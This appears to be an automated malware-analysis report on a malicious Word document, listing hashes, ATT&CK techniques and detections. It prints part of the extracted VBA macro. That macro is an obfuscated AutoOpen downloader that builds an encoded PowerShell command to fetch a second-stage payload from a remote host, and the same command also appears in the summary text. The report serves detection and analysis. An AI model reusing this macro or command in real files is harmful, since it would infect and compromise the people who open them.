Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a211560b93319729…

MALICIOUS

Office (OLE)

151.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 97a05e70edde9dabe27e9611af6c9306 SHA-1: 7d37cc901987402d09b24f4035e55a67a550c3bd SHA-256: a211560b93319729e0fb44e9165541be3f36b6dc0cb178c4bd3dae1c9b8ab635
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, a common technique for executing malicious code upon document opening. The script constructs and executes a command that appears to download and run a second-stage payload. The specific command constructed is 'd.x.x /c p^O^w^x^R^s^H^x^L^L^.^x^x^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^'. This indicates a clear intent to execute arbitrary code.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 51093 bytes
SHA-256: 260d752f8c11a7c8801d26a62e56a744f708c1dd697bdc966e55c7ad5a0a0168
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const BizOjuVoQExlyuKAnEzUZuUQY = 0
Sub AutoOpen()
On Error Resume Next
Dim WIQERYfILubIfXIhiMOkoVoJNygi(4)

If 12 = 12 + (5 * 0) Then
WIQERYfILubIfXIhiMOkoVoJNygi(0) = CLng(6245)
End If
WIQERYfILubIfXIhiMOkoVoJNygi(1) = Sqr(5)
WIQERYfILubIfXIhiMOkoVoJNygi(2) = Month(62456245)
WIQERYfILubIfXIhiMOkoVoJNygi(3) = Fix(6245.5)
Dim pyFjPIAtUrifgeQEPesyKyBEC(4)

If 11 = 11 + (8 * 0) Then
pyFjPIAtUrifgeQEPesyKyBEC(0) = CLng(5797)
End If
pyFjPIAtUrifgeQEPesyKyBEC(1) = Sqr(8)
pyFjPIAtUrifgeQEPesyKyBEC(2) = Month(57975797)
pyFjPIAtUrifgeQEPesyKyBEC(3) = Fix(5797.8)
goHusysUgInynumadbocivyCepudimqafIKISa = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^"
Dim CevACIWYXaBUBAnOQAiiqoxYmYtjEqiCa(4)
Dim kUmAseBYDOleKiFetYLYtAruzyhesygaNYFeFaZiJaJaSaj(4)

If 12 = 12 + (10 * 0) Then
kUmAseBYDOleKiFetYLYtAruzyhesygaNYFeFaZiJaJaSaj(0) = CLng(6689)
End If
kUmAseBYDOleKiFetYLYtAruzyhesygaNYFeFaZiJaJaSaj(1) = Sqr(10)
kUmAseBYDOleKiFetYLYtAruzyhesygaNYFeFaZiJaJaSaj(2) = Month(66896689)
kUmAseBYDOleKiFetYLYtAruzyhesygaNYFeFaZiJaJaSaj(3) = Fix(6689.1)
Dim JUVaMEfEfoxcirydlHjuBeXIPiWYlI(4)

If 11 = 11 + (6 * 0) Then
JUVaMEfEfoxcirydlHjuBeXIPiWYlI(0) = CLng(3388)
End If
JUVaMEfEfoxcirydlHjuBeXIPiWYlI(1) = Sqr(6)
JUVaMEfEfoxcirydlHjuBeXIPiWYlI(2) = Month(33883388)
JUVaMEfEfoxcirydlHjuBeXIPiWYlI(3) = Fix(3388.6)

If 12 = 12 + (9 * 0) Then
Dim tNiQiKyKESawafyjEzeDIvohUduaiWeWYnB(4)

If 13 = 13 + (7 * 0) Then
tNiQiKyKESawafyjEzeDIvohUduaiWeWYnB(0) = CLng(877)
End If
tNiQiKyKESawafyjEzeDIvohUduaiWeWYnB(1) = Sqr(7)
tNiQiKyKESawafyjEzeDIvohUduaiWeWYnB(2) = Month(877877)
tNiQiKyKESawafyjEzeDIvohUduaiWeWYnB(3) = Fix(877.7)
Dim xUMOWaJoSIReAWYluLUjebasoRenqyrYlerAzOFiLE(4)

If 10 = 10 + (5 * 0) Then
xUMOWaJoSIReAWYluLUjebasoRenqyrYlerAzOFiLE(0) = CLng(7509)
End If
xUMOWaJoSIReAWYluLUjebasoRenqyrYlerAzOFiLE(1) = Sqr(5)
xUMOWaJoSIReAWYluLUjebasoRenqyrYlerAzOFiLE(2) = Month(75097509)
xUMOWaJoSIReAWYluLUjebasoRenqyrYlerAzOFiLE(3) = Fix(7509.5)
CevACIWYXaBUBAnOQAiiqoxYmYtjEqiCa(0) = CLng(3114)
End If
CevACIWYXaBUBAnOQAiiqoxYmYtjEqiCa(1) = Sqr(9)
Dim aEmawaSaXYgaaemYpamaSuwoxuZdyXobYZYSudiLOZiZ(4)

If 12 = 12 + (6 * 0) Then
aEmawaSaXYgaaemYpamaSuwoxuZdyXobYZYSudiLOZiZ(0) = CLng(7663)
End If
aEmawaSaXYgaaemYpamaSuwoxuZdyXobYZYSudiLOZiZ(1) = Sqr(6)
aEmawaSaXYgaaemYpamaSuwoxuZdyXobYZYSudiLOZiZ(2) = Month(76637663)
aEmawaSaXYgaaemYpamaSuwoxuZdyXobYZYSudiLOZiZ(3) = Fix(7663.6)
CevACIWYXaBUBAnOQAiiqoxYmYtjEqiCa(2) = Month(31143114)
CevACIWYXaBUBAnOQAiiqoxYmYtjEqiCa(3) = Fix(3114.9)
Dim TOmLibikOxYVuWiRYsRiBYwotASenAh(4)

If 10 = 10 + (3 * 0) Then
TOmLibikOxYVuWiRYsRiBYwotASenAh(0) = CLng(8453)
End If
TOmLibikOxYVuWiRYsRiBYwotASenAh(1) = Sqr(3)
TOmLibikOxYVuWiRYsRiBYwotASenAh(2) = Month(84538453)
TOmLibikOxYVuWiRYsRiBYwotASenAh(3) = Fix(8453.3)

Dim pIvaVEpeKWEsicQIHOBefAPeF(4)

If 13 = 13 + (7 * 0) Then
pIvaVEpeKWEsicQIHOBefAPeF(0) = CLng(7955)
End If
pIvaVEpeKWEsicQIHOBefAPeF(1) = Sqr(7)
pIvaVEpeKWEsicQIHOBefAPeF(2) = Month(79557955)
pIvaVEpeKWEsicQIHOBefAPeF(3) = Fix(7955.7)
Dim qunypiPyminYWmOcAjaDefenuNosA(4)

If 12 = 12 + (2 * 0) Then
qunypiPyminYWmOcAjaDefenuNosA(0) = CLng(9853)
End If
qunypiPyminYWmOcAjaDefenuNos
... (truncated)